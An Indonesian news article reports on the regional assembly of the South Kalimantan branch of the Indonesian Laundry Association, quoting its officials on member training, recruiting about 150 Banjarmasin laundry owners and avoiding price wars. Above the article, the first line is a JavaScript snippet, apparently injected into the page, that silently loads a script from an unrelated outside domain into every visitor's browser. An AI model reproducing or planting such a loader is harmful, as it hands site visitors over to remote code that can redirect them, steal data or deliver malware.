(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Bisnis

ASLI Kalsel Ingin Pengusaha Laundry Lokal Makin Berkembang

BANJARMASIN, Ketua Asosiasi Laundry Indonesia (ASLI) Kalsel Agus Surono memastikan, kehadiran Organisasi ASLI di Banua akan banyak memberikan manfaat bagi pengusaha laundry lokal di Banua. Hal tersebut diungkapkannya disela kegiatan Musyawarah Daerah (Musda) ASLI Kalsel, Sabtu (6/4) lalu di Hotel Delima Kabupaten Banjar.

“Kami ingin kehadiran ASLI di Banua dapat memberikan manfaat bagi pengusaha laundry lokal. Utamanya dalam mendorong mereka dalam mengembangkan bisnisnya menjadi lebih besar lagi” tegas Owner Kumala Luandry tersebut.

Nantinya dalam program ASLI Kalsel, pihaknya akan rutin menggelar berbagai pelatihan managemen bisnis laundry bagi para anggota dengan narasumber yang kompeten dibidangnya. Selain itu ASLI Kalsel juga akan konsisten dalam memberikan berbagai informasi terbaru terkait ilmu hingga teknologi yang terkait dengan bisnis jasa ini.

“Intinya melalui ASLI Kalsel kami ingin para pengusaha laundry lokal bisa tetap menjadi raja di daerahnya sendiri. Walau pun disatu sisi persaingan dari pebisnis laundry luar sudah sangat kompetitif di Banua,” tambahnya.

Ketua ASLI Kalsel Agus Surono. Foto : Arief Rahman

Sementara itu, Sekretaris ASLI Kalsel Andry Azhar mengatakan, di Kota Banjarmasin sendiri ada kurang lebih sekitar 150 pengusaha laundry yang diketahui pihaknya. Ia pun memastikan akan segera melakukan konsolidasi dengan seluruh pengusaha laundry di Banjarmasin tersebut agar bersedia bergabung di organisasi ASLI Kalsel.

“Kalau sudah semuanya bergabung maka tentu akan mudah bagi kami dalam membuat agar bisnis laundry di Kota Banjarmasin bisa semakin sehat, utamanya agar tidak terjadi perang harga yang berlebihan,” ungkapnya.

Di lain pihak, Dewan Penasehat ASLI Rosul Nawawi menambahkan, Provinsi Kalsel merupakan Provinsi ke 20 yang sudah dapat dibentuk organisasi ASLI di Indonesia. ASLI sendiri bahkan kini sudah berada dibawah kordinasi Kementrian dan UMKM.

“Bahkan tahun lalu kita sudah diundang oleh organisasi pebisnis laundry dunia untuk mengikuti sebuah even internasional. Hal tersebut tentunya membuktikan ASLI bukan organisasi pengusaha laundry yang abal-abal,” pungkasnya.(arief)

Reporter : Arief
Editor : Chell